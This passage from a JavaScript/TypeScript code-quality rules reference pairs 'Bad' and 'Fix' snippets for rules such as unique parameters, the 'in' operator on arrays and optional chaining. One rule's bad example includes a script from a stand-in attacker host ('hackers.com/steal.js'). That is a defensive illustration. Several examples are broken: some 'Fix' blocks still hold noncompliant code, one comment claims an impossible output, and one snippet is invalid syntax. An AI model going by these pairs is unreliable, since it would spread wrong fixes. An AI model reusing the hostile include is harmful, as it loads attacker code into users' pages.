      ```javascript Bad theme={null}
      let {a: {}} = myObj; // Noncompliant: this does not create any variable
      function foo({p: []}) { // Noncompliant: this does not define any parameter
      // ...
      }
      ```

      ```javascript Fix theme={null}
      let {a = {}} = myObj;
      function foo({p = []}) {
      // ...
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="this should be used inside objects">
    <div class="paragraph">
      <p>Using the <code>this</code> keyword inside the scope of an object to refer to the object’s properties and methods yields cleaner, clearer code, and helps avoid confusion when there are variables or functions outside the object scope with the same or similar names.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      function Person(name, birthdate) {
      this.name = name;
      this.birthdate = birthdate;

      get name() {
      return name; // Noncompliant
      }
      }
      ```

      ```javascript Fix theme={null}
      function Person(name, birthdate) {
      this.name = name;
      this.birthdate = birthdate;

      get name() {
      return this.name;
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Future reserved words should not be used as identifiers">
    <div class="paragraph">
      <p>The ECMAScript specification defines a set of special words as future keywords of the language. They don’t have particular meaning for now, but they might at some future time.</p>
    </div>

    <div class="paragraph">
      <p>The list contains the following words:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>\`await</p>
        </li>

        <li>
          <p>class</p>
        </li>

        <li>
          <p>const</p>
        </li>

        <li>
          <p>enum</p>
        </li>

        <li>
          <p>export</p>
        </li>

        <li>
          <p>extends</p>
        </li>

        <li>
          <p>implements</p>
        </li>

        <li>
          <p>import</p>
        </li>

        <li>
          <p>interface</p>
        </li>

        <li>
          <p>let</p>
        </li>

        <li>
          <p>package</p>
        </li>

        <li>
          <p>private</p>
        </li>

        <li>
          <p>protected</p>
        </li>

        <li>
          <p>public</p>
        </li>

        <li>
          <p>static</p>
        </li>

        <li>
          <p>super</p>
        </li>

        <li>
          <p>yield\`</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>Some of these words have already been adopted by current versions of ECMAScript, but they are kept to consider legacy JavaScript codebases as well. Others are only reserved when used in strict mode.</p>
    </div>

    <div class="paragraph">
      <p>These future reserved words should be avoided because they may cause syntax errors if they are ever adopted.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const package = document.getElementsByName("foo"); // Noncompliant: `package` is used as an identifier here
      ```

      ```javascript Fix theme={null}
      const someData = { package: true };                // Compliant: `package` is not used as an identifier here
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Spaces should be used consistently in rest and spread syntax">
    <div class="paragraph">
      <p>Shared coding conventions allow teams to collaborate effectively. This rule raises an issue when the use of spaces in a rest parameter or with a spread operator does not conform to the configured requirements.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      function cPrint(... args) {      // Noncompliant
      console.log(args);
      }

      function foo(a, b, c) {
      }
      const arr = [10, 20];
      foo(... arr, 30);                // Noncompliant
      ```

      ```javascript Fix theme={null}
      function cPrint(...args) {
      console.log(args);
      }

      function foo(a, b, c) {
      }
      const arr = [10, 20];
      foo(...arr, 30);
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Function argument names should be unique">
    <div class="paragraph">
      <p>Function parameter names should be unique in JavaScript. Unique parameter names ensure that there is no ambiguity in referring to specific parameters within the function body. If multiple parameters share the same name, it becomes unclear which parameter is being referred to when using that name within the function.</p>
    </div>

    <div class="paragraph">
      <p>Unique parameter names improve the readability and maintainability of code. When parameter names are descriptive and distinct, it becomes easier for other developers (including yourself) to understand the purpose and functionality of the function.</p>
    </div>

    <div class="paragraph">
      <p>When parameter names are not unique, the later occurrence of a parameter will overwrite the earlier occurrence, potentially leading to unintended consequences or bugs. This behavior can cause confusion and make the code harder to debug.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function f(a, b, a) { // Noncompliant: The first occurrence of `a` will be overwritten by the later occurrence
      console.log(a, b);
      }

      f(1, 2, 3);           // Outputs 5
      ```

      ```javascript Fix theme={null}
      'use strict';

      function f(a, b, a) { // Noncompliant: SyntaxError: Duplicate parameter name not allowed in this context
      console.log(a, b);
      }

      f(1, 2, 3);
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="in should not be used on arrays">
    <div class="paragraph">
      <p>The <code>in</code> operator is used to check if a property is in an object or its <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain">prototype chain</a>.</p>
    </div>

    <div class="paragraph">
      <p>When used on an array, it will compare against the indexes of the array, not the values. This is likely not to be the expected behavior.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function func() {
      const arr = ["a", "b", "c"];

      const expectedValue = "b";
      if (expectedValue in arr) { // Noncompliant: will be always false
          return expectedValue + " found in the array";
      } else {
          return expectedValue + " not found";
      }
      }
      ```

      ```javascript Fix theme={null}
      function func() {
      const arr = ["a", "b", "c"];

      const expectedValue = "b";
      if (arr.includes(expectedValue)) {
          return expectedValue + " found in the array";
      } else {
          return expectedValue + " not found";
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Image, area, button with image and object elements should have an alternative text">
    <div class="paragraph">
      <p>The \`alt, aria-label and aria-labelledby attributes provide a textual alternative to an image.</p>
    </div>

    <div class="paragraph">
      <p>It is used whenever the actual image cannot be rendered.</p>
    </div>

    <div class="paragraph">
      <p>Common reasons for that include:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>The image can no longer be found</p>
        </li>

        <li>
          <p>Visually impaired users using a screen reader software</p>
        </li>

        <li>
          <p>Image loading is disabled, to reduce data consumption on mobile phones</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>It is also very important not to set an alternative text attribute to a non-informative value. For example, \<img ... alt="logo"> is useless as it doesn’t give any information to the user. In this case, as for any other decorative image, it is better to use a CSS background image instead of an \<img> tag. If using CSS background-image is not possible, an empty alt="" is tolerated. See Exceptions below.</p>
    </div>

    <div class="paragraph">
      <p>This rule raises an issue when:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>An \<img> element has no alt attribute.</p>
        </li>

        <li>
          <p>An \<input type="image"> element has no alt, aria-label or aria-labelledby attribute or they hold an empty string.</p>
        </li>

        <li>
          <p>An \<area> element within an image map has no alt, aria-label or aria-labelledby attribute.</p>
        </li>

        <li>
          <p>An \<object> element has no inner text, title, aria-label or aria-labelledby\` attribute.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      <li *ngFor="let image of images">
      <img [src]="image" alt="">
      </li>
      ```

      ```javascript Fix theme={null}
      <a href="flowers.html">
      <img src="tulip.gif" alt="" />
      A blooming tulip
      </a>
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Variables declared with var should be declared before they are used">
    <div class="paragraph">
      <p>Variables declared with \`var have the special property that regardless of where they’re declared in a function they "float" to the top of the function and are available for use even before they’re declared. That makes scoping confusing, especially for new coders.</p>
    </div>

    <div class="paragraph">
      <p>To keep confusion to a minimum, var\` declarations should happen before they are used for the first time.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      var x = 1;

      function fun(){
      alert(x); // Noncompliant as x is declared later in the same scope
      if(something) {
      var x = 42; // Declaration in function scope (not block scope!) shadows global variable
      }
      }

      fun(); // Unexpectedly alerts "undefined" instead of "1"
      ```

      ```javascript Fix theme={null}
      var x = 1;

      function fun() {
      print(x);
      if (something) {
      x = 42;
      }
      }

      fun(); // Print "1"
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="The global this object should not be used">
    <div class="paragraph">
      <p>The value of this depends on which context it appears:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>Function: The value of this will depend on how a function was called. The value of this is not always the object that has the function as an <em>own</em> property, but the object that is used to call the function. The methods Function.prototype.call(), Function.prototype.apply(), or Reflect.apply() can be used to explicitly set the value of this. Is it also possible to create a new function with a specific value of this that doesn’t change regardless of how the function is called with Function.prototype.bind(). In non-strict mode, this will always be an object and will default to globalThis if set to undefined or null.</p>
        </li>

        <li>
          <p>Arrow function: The value of this will be the same as the enclosing context. Arrow functions will not create a new this binding. When invoking arrow functions using call(), bind(), or apply(), the thisArg parameter is ignored.</p>
        </li>

        <li>
          <p>Class: Class methods behave like methods in other objects: the this value is the object that the method was accessed on. If the method is not transferred to another object, this is generally an instance of the class. However, for static methods, the value of this is the class instead of the instance.</p>
        </li>

        <li>
          <p>Global: outside of any functions or classes (also inside blocks or arrow functions defined in the global scope), the value of this depends on what execution context the script runs in.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>When a function is called without an explicit object context, the this keyword refers to the global object. This also applies when it is used outside of an object or function. The global this object refers to the global context in which the JavaScript code is executed. This can cause problems when the code is executed in different contexts, such as in a browser or in a Node.js environment, where the global object is different. Such uses could confuse maintainers as the actual value depends on the execution context, and it can be unclear what object the \`this keyword is referring to.</p>
    </div>

    <div class="paragraph">
      <p>In JavaScript’s "strict mode", using this in the global context will always be undefined\`.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      this.foo = 1;   // Noncompliant: 'this' refers to global 'this'
      console.log(this.foo); // Noncompliant: 'this' refers to global 'this'

      function MyObj() { 
      this.foo = 1; // Compliant 
      } 

      MyObj.func1 = function() { 
      if (this.foo === 1) { // Compliant
      // ... 
      } 
      }
      ```

      ```javascript Fix theme={null}
      foo = 1;               
      console.log(foo);

      function MyObj() { 
      this.foo = 1;  
      } 

      MyObj.func1 = function() { 
      if (this.foo === 1) {
      // ... 
      } 
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="User-defined JSX components should use Pascal case">
    <div class="paragraph">
      <p>User-defined JSX components should use Pascal case because it is a widely accepted convention in the React community. Using Pascal case for component names helps to distinguish them from HTML elements and built-in React components, which are typically written in lowercase. It also improves code readability and makes it easier to differentiate between components and regular HTML tags.</p>
    </div>

    <div class="paragraph">
      <p>Additionally, adhering to this convention ensures consistency and makes it easier for other developers to understand and work with your code. It is considered a best practice in React development and is recommended by the official React documentation.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      <MY_COMPONENT />
      ```

      ```javascript Fix theme={null}
      <MyComponent />
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Untrusted content should not be included">
    <div class="paragraph">
      <p>Including content in your site from an untrusted source can expose your users to attackers and even compromise your own site. For that reason, this rule raises an issue for each non-relative URL.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      function include(url) {
      var s = document.createElement("script");
      s.setAttribute("type", "text/javascript");
      s.setAttribute("src", url);
      document.body.appendChild(s);
      }
      include("http://hackers.com/steal.js")  // Noncompliant
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Comparison operators should not be used with strings">
    <div class="paragraph">
      <p>The use of comparison operators (<code>\<, \<=, >=, ></code>) with strings is not likely to yield the expected results. Make sure the intention was to compare strings and not numbers.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      var appleNumber = "123";
      var orangeNumber = "45";
      if (appleNumber < orangeNumber) {  // Noncompliant, this condition is true
      alert("There are more oranges");
      }
      ```

      ```javascript Fix theme={null}
      var appleNumber = "123";
      var orangeNumber = "45";
      if (Number(appleNumber) < Number(orangeNumber)) {
      alert("There are more oranges");
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Unary operators + and - should not be used with objects">
    <div class="paragraph">
      <p>The unary operators <code>+ and - can be used to convert some value types to numeric values. But not every value can be converted to a Number type; use it with an object, and result will be NaN</code> (Not A Number). This can be confusing to maintainers.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      var obj = {x : 1};
      doSomethingWithNumber(+obj);    // Noncompliant

      function foo(){
      return 1;
      }
      doSomethingWithNumber(-foo);    // Noncompliant
      ```

      ```javascript Fix theme={null}
      var obj = {x : 1};
      doSomethingWithNumber(+obj.x);

      function foo(){
      return 1;
      }
      doSomethingWithNumber(-foo());

      var str = '42';
      doSomethingWithNumber(+str);
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Selectors should not be too complex">
    <div class="paragraph">
      <p>Even if your document is arranged in many layers, you don’t have to step through those layers explicitly to select an element. In fact, it’s more efficiently to skim over some of those layers rather than making the JQuery selector engine explicitly step through each one.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      $( "div.data table.attendees td.campbell" );  // Noncompliant; too many selectors. There's no need to trace through each layer of the structure
      ```

      ```javascript Fix theme={null}
      $( ".data td.campbell");
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Template literal placeholder syntax should not be used in regular strings">
    <div class="paragraph">
      <p>Template strings allow developers to embed variables or expressions in strings using template literals, instead of string concatenation. This is done by using expressions like <code>\$\{variable}  in a string between two back-ticks (\`</code>). However, when used in a regular string literal (between double or single quotes) the template will not be evaluated and will be used as a literal, which is probably not what was intended.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      console.log("Today is ${date}"); // Noncompliant
      ```

      ```javascript Fix theme={null}
      console.log(`Today is ${date}`);
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Internet Explorers conditional comments should not be used">
    <div class="paragraph">
      <p>Internet Explorer offers a way to change the JavaScript code at runtime using conditional comments (activated by a @cc\_on statement found in a comment). Using this preprocessing feature decreases readability and maintainability, and can hinder automated tools. What’s more, it is specific to Internet Explorer and won’t work for other browsers.</p>
    </div>

    <div class="paragraph">
      <p>Most of the time, using those conditional comments can be easily avoided with some refactoring - using modern cross-browsers JavaScript frameworks and libraries.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      /*@cc_on
      @if (@_jscript_version >= 5.5)
      document.write("You are using IE5.5 or newer");
      @else
      document.write("You are using IE5 or older");
      @end
      @*/
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Object literal shorthand syntax should be used">
    <div class="paragraph">
      <p>In JavaScript, object shorthand syntax is a more concise way to define properties on objects. It was introduced to make object literals more readable and expressive.</p>
    </div>

    <div class="paragraph">
      <p>In the shorthand syntax, if a variable exists in the scope with the same name as the object key you’re defining, you can omit the key-value pair and just write the variable name. The interpreter will automatically understand that the key and the variable are linked.</p>
    </div>

    <div class="paragraph">
      <p>Using object shorthand syntax can make your code cleaner and easier to read. It can also reduce the chance of making errors, as you don’t have to repeat yourself by writing the variable name twice.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      let a = 1;

      let myObj = {
      a : a,  // Noncompliant
      fun: function () {  // Noncompliant
      //...
      }
      }
      ```

      ```javascript Fix theme={null}
      let a = 1;

      let myObj = {
      a,
      fun () {
      //...
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Local storage should not be used">
    <div class="paragraph">
      <p>Session storage and local storage are HTML 5 features which allow developers to easily store megabytes of data client-side, as opposed to the 4Kb cookies can accommodate. While useful to speed applications up on the client side, it can be dangerous to store sensitive information this way because the data is not encrypted by default and any script on the page may access it.</p>
    </div>

    <div class="paragraph">
      <p>This rule raises an issue when the <code>localStorage and sessionStorage</code> API’s are used.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      localStorage.setItem("login", login); // Noncompliant
      sessionStorage.setItem("sessionId", sessionId); // Noncompliant
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="arguments.caller and arguments.callee should not be used">
    <div class="paragraph">
      <p>In JavaScript, \`arguments is a built-in array-like object automatically available within the scope of all non-arrow functions. It allows you to access the arguments the function was called with, even if the number of arguments passed during the function call does not match the number declared in the function signature. arguments has entries for each argument, with the first entry’s index at 0.</p>
    </div>

    <div class="paragraph">
      <p>The arguments object has two deprecated properties called arguments.caller and arguments.callee, which were used to refer to functions involved in the function invocation chain:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>The arguments.callee property contains the currently executing function that the arguments belong to.</p>
        </li>

        <li>
          <p>The arguments.caller property returns the function that invoked the currently executing function. It was replaced by Function.prototype.caller, which provides the same functionality.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>Both arguments.caller and arguments.callee are non-standard, deprecated, and leak stack information, which poses security risks and severely limits the possibility of optimizations.</p>
    </div>

    <div class="paragraph">
      <p>Accessing arguments.callee, Function.prototype.caller and Function.prototype.arguments  in strict mode will throw a TypeError\`.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function whoCalled() {
      if (arguments.caller == null)   //Noncompliant
        console.log('I was called from the global scope.');
      else
        console.log(arguments.caller + ' called me!');  // Noncompliant

      console.log(whoCalled.caller);  // Noncompliant
      console.log(whoCalled.arguments);  // Noncompliant
      }
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Values not convertible to numbers should not be used in numeric comparisons">
    <div class="paragraph">
      <p>In a Zen-like manner, \`NaN isn’t equal to anything, even itself. So comparisons (>, \<, >=, \<=) where one operand is NaN or evaluates to NaN always return false. Specifically, undefined and objects that cannot be converted to numbers evaluate to NaN when used in numerical comparisons.</p>
    </div>

    <div class="paragraph">
      <p>This rule raises an issue when there is at least one path through the code where one of the operands to a comparison is NaN, undefined or an Object\` which cannot be converted to a number.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      var x;  // x is currently "undefined"
      if (someCondition()) {
      x = 42;  
      }

      if (42 > x) {  // Noncompliant; "x" might still be "undefined"
      doSomething();
      }

      var obj = {prop: 42};
      if (obj > 24) { // Noncompliant 
      doSomething();
      }
      ```

      ```javascript Fix theme={null}
      var x;
      if (someCondition()) {
      x = 42;
      } else {
      x = foo();
      }

      if (42 > x) {
      doSomething();
      }

      var obj = {prop: 42};
      if (obj.prop > 24) {
      doSomething();
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Primitive types should be omitted from initialized or defaulted declarations">
    <div class="paragraph">
      <p>TypeScript supports type inference, a mechanism that automatically infers the type of a variable based on its initial value. This means that if you initialize a variable with a particular value, TypeScript will assume that this variable should always hold that type of value.</p>
    </div>

    <div class="paragraph">
      <p>Unnecessarily verbose declarations and initializations make it harder to read the code and should be simplified. Therefore, type annotations should be omitted from variable and parameter declarations when they can be easily inferred from the initialized or defaulted value.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const n: number = 1; // Noncompliant, "number" can be omitted

      function foo(s: string = "") {} // Noncompliant, "string" can be omitted

      class Bar {
      b: boolean = true;  // Noncompliant, "boolean" can be omitted
      }
      ```

      ```javascript Fix theme={null}
      const n = 1;

      function foo(s = "") {}

      class Bar {
      b = true;
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Function and method names should comply with a naming convention">
    <div class="paragraph">
      <p>Shared naming conventions allow teams to collaborate efficiently.</p>
    </div>

    <div class="paragraph">
      <p>This rule raises an issue when a function or a method name does not match a provided regular expression.</p>
    </div>

    <div class="paragraph">
      <p>For example, with the default regular expression <code>^\[a-z]\[a-zA-Z0-9]\*\$</code>, the function:</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function DoSomething(){...}  // Noncompliant
      ```

      ```javascript Fix theme={null}
      function doSomething(){...}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="import should be used to include external code">
    <div class="paragraph">
      <p>Before ECMAScript 2015, module management had to be ad-hoc or provided by 3rd-party libraries such as Node.js, Webpack, or RequireJS. Fortunately, ES2015, provides language-standard mechanisms for module management, <code>import and export</code>, and older usages should be converted.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      // circle.js
      exports.area = function (r) {
      return PI * r * r;
      };

      // foo.js
      define(["./cart", "./horse"], function(cart, horse) {  // Noncompliant
      // ...
      });

      // bar.js
      const circle = require('./circle.js');  // Noncompliant
      ```

      ```javascript Fix theme={null}
      // circle.js
      let area = function (r) {
      return PI * r * r;
      }
      export default area;

      // foo.js
      import cart from "./cart.js";
      import horse from "./horse.js";

      // bar.js
      import circle from "./circle.js"
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Tests should check which exception is thrown">
    <div class="paragraph">
      <p>Assertions are statements that check whether certain conditions are true. They are used to validate that the actual results of a code snippet match the expected outcomes. By using assertions, developers can ensure that their code behaves as intended and identify potential bugs or issues early in the development process.</p>
    </div>

    <div class="paragraph">
      <p>When the unit test is executed, the assertions are evaluated. If all the assertions in the test pass, it means the unit is functioning correctly for that specific set of inputs. If any of the assertions fail, it indicates that there is a problem with the unit’s implementation, and the test case helps identify the issue.</p>
    </div>

    <div class="paragraph">
      <p>It is not good enough to test if an exception is raised, without checking which exception it is. Such tests will not be able to differentiate the expected exception from an unexpected one.</p>
    </div>

    <div class="paragraph">
      <p>This rule raises an issue in the following cases:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>When an asynchronous Mocha test calls the \`done() callback, without parameters, in a catch block, and there is no reference to the caught exception in this block. Either the error should be passed to done() or the exception should be checked further.</p>
        </li>

        <li>
          <p>When Chai assertions are used to test if a function throws any exception, or an exception of type Error without checking the message.</p>
        </li>

        <li>
          <p>When Chai assertions are used to test if a function does not throw an exception of type Error\` without checking the message.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>This rule doesn’t raise an issue when an assertion is negated. In such a case, the exception doesn’t need to be specific.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const expect = require("chai").expect;
      const fs = require("fs");

      describe("exceptions are not tested properly", function() {
      const funcThrows = function () { throw new TypeError('What is this type?'); };
      const funcNoThrow = function () { /*noop*/ };

      it("forgot to pass the error to 'done()'", function(done) {
          fs.readFile("/etc/zshrc", 'utf8', function(err, data) {
              try {
                  expect(data).to.match(/some expected string/);
              } catch (e) {
                  done(); // Noncompliant: either the exception should be passed to done(e), or the exception should be tested further.
              }
          });
      });

      it("does not 'expect' a specific exception", function() {
          expect(funcThrows).to.throw(); // Noncompliant: the exception should be tested.
          expect(funcThrows).to.throw(Error); // Noncompliant: the exception should be tested further.
      });
      });
      ```

      ```javascript Fix theme={null}
      const expect = require("chai").expect;
      const { AssertionError } = require('chai');
      const fs = require("fs");

      describe("exceptions are tested properly", function() {
      const funcThrows = function () { throw new TypeError('What is this type?'); };
      const funcNoThrow = function () { /*noop*/ };

      it("did not forget to pass the error to 'done()'", function(done) {
          fs.readFile("/etc/zshrc", 'utf8', function(err, data) {
              try {
                  expect(data).to.match(/some expected string/);
              } catch (e) {
                  expect(e).to.be.an.instanceof(AssertionError);
                  done();
              }
          });
      });

      it("does 'expect' a specific exception", function() {
          expect(funcThrows).to.throw(TypeError);
          expect(funcNoThrow).to.not.throw(Error, /My error message/);
      });
      });
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Imports should not use absolute paths">
    <div class="paragraph">
      <p>In Node.js, it’s possible to import modules by specifying an absolute path, such as /lib/foo/bar.js. However, this approach can limit the portability of your code, as it becomes tied to your computer’s file system. This could potentially lead to problems when the code is distributed, for instance, via NPM packages. Therefore, it’s advisable to use relative paths or module names for importing modules to enhance the portability and compatibility of your code across different systems.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      import { foo } from '/home/project/api/bar.js';
      ```

      ```javascript Fix theme={null}
      import { foo } from '../api/bar.js';
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Ternary operator should not be used instead of simpler alternatives">
    <div class="paragraph">
      <p>Ternary operator should not be used to select between two boolean values, or instead of a logical OR operation. Ternary expressions are often difficult to read, so if a simpler syntax exists, it should be used instead of a ternary expression. This happens when</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>the expression returns two boolean values</p>
        </li>
      </ul>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      let isGood = value > 0 ? true : false; // Non-compliant, replace with value > 0
      let isBad = value > 0 ? false : true; // Non-compliant, replace with !(value > 0)
      ```

      ```javascript Fix theme={null}
      let a = x ? x : y;  // Non-compliant, replace with x || y
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Optional chaining should be preferred">
    <div class="paragraph">
      <p>Optional chaining allows to safely access nested properties or methods of an object without having to check for the existence of each intermediate property manually. It provides a concise and safe way to access nested properties or methods without having to write complex and error-prone null/undefined checks.</p>
    </div>

    <div class="paragraph">
      <p>This rule flags logical operations that can be safely replaced with the ?. optional chaining operator.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function foo(obj, arr, fn) {
      if (obj && obj.value) {}
      if (arr && arr[0])    {}
      if (fn && fn(42))     {}
      }
      ```

      ```javascript Fix theme={null}
      function foo(obj, arr, fn) {
      if (obj?.value) {}
      if (arr?.[0])   {}
      if (fn?.(42))   {}
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Names of regular expressions named groups should be used">
    <div class="paragraph">
      <p>When using regular expressions, a capturing group provides extra information about the matched pattern. Named groups will store the matched contents on the groups property of the returned matches.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const regex = /(?<month>[0-9]{2})\/(?<year>[0-9]{2})/;
      const { groups: {month, year} } = regex.exec("01/02"); // month is '01', year is '02'
      ```

      ```javascript Fix theme={null}
      const score = "14:1";
      const scorePattern = /(?<player1>[0-9]+):(?<player2>[0-9]+)/; // Noncompliant - named groups are never used

      if (scorePattern.exec(score)) {
      checkScore(score);
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Type aliases should be used">
    <div class="paragraph">
      <p>In TypeScript, a type alias is a way to give a name to a specific type. It allows you to create a new name for an existing type, making your code more expressive and readable. This is especially useful when you are working with complex or lengthy types that you use frequently.</p>
    </div>

    <div class="paragraph">
      <p>Type aliases should be preferred over complex types like unions or intersections for several reasons:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>Type aliases can make your code more readable and maintainable by giving meaningful names to complex types. When you use a type alias, it becomes clear what the type represents, making it easier for other developers (including your future self) to understand the code.</p>
        </li>

        <li>
          <p>Type aliases promote code reusability. When you define a type alias for a complex type, you can use that alias in multiple places throughout your codebase, reducing duplication and promoting consistency.</p>
        </li>

        <li>
          <p>Type aliases allow you to abstract away the underlying complexity of types. This promotes encapsulation by hiding implementation details behind a well-named alias, allowing you to change the underlying type in the future without affecting the code that uses the alias.</p>
        </li>

        <li>
          <p>If you need to modify a complex type, using a type alias means you only need to change the type definition in one place. This change will automatically apply to all usages of the alias.</p>
        </li>

        <li>
          <p>Type aliases communicate the intent of the type, making it easier for other developers to understand what the type represents. Complex unions and intersections, on the other hand, might require additional comments or documentation to explain their purpose.</p>
        </li>

        <li>
          <p>Using type aliases can help you avoid excessive nesting of complex types. Nested unions and intersections can quickly become hard to read and maintain, and type aliases can simplify the type definitions.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>This rule enforces the rule of three for code refactoring and reports unions and intersections with three or more constituents appearing at least three times in the codebase.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function foo(x: string | null | number) { // Noncompliant: The union has three constituents and is duplicated three times in the code
      /* ... */
      }

      let bar: string | null | number = /* ... */;

      function baz(): string | null | number {
      /* ... */
      }
      ```

      ```javascript Fix theme={null}
      type MyType = string | null | number;

      function foo(x: MyType) {
      /* ... */
      }

      let bar: MyType = /* ... */;

      function baz(): MyType {
      /* ... */
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Objects should not be created to be dropped immediately without being used">
    <div class="paragraph">
      <p>Creating an object without assigning it to a variable or using it in any function means the object is essentially created for no reason and may be dropped immediately without being used. Most of the time, this is due to a missing piece of code and could lead to an unexpected behavior.</p>
    </div>

    <div class="paragraph">
      <p>If it’s intended because the constructor has side effects, that side effect should be moved into a separate method and called directly. This can help to improve the performance and readability of the code.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      new MyConstructor(); // Noncompliant: object may be dropped
      ```

      ```javascript Fix theme={null}
      let something = new MyConstructor();
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="ReactJS components should be created using extends instead of createReactClass">
    <div class="paragraph">
      <p>This rule enforces the idea to use ES6 style to create React Component instead of the ES5 way.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      var Rating = createReactClass({ // Noncompliant
      [...]
      });
      ```

      ```javascript Fix theme={null}
      export default class Rating extends React.Component { // Compliant
      [...]
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Functions should always return the same type">
    <div class="paragraph">
      <p>Unlike strongly typed languages, JavaScript does not enforce a return type on a function. This means that different paths through a function can return different types of values.</p>
    </div>

    <div class="paragraph">
      <p>Returning different types from a function can make the code less readable and harder to understand. Maintainers may have to spend more time figuring out how the function works and what it returns. Additionally, it can be harder to ensure that the code is free of type-related errors.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function foo(a) {  // Noncompliant: function returns 'boolean' or 'number'
      if (a === 1) {
      return true;
      }
      return 3;
      }
      ```

      ```javascript Fix theme={null}
      function foo(a) {
      if (a === 1) {
      return true;
      }
      return false;
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Redundant casts and non-null assertions should be avoided">
    <div class="paragraph">
      <p>In TypeScript, casts and non-null assertions are two mechanisms used to inform the TypeScript compiler about the intended types of variables, expressions, or values in the code. They are used to help the compiler understand the types more accurately and to handle certain situations where type inference might not be sufficient:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>A type assertion tells the compiler to treat the value as the specified type, even if the compiler’s type inference suggests a different type.</p>
        </li>

        <li>
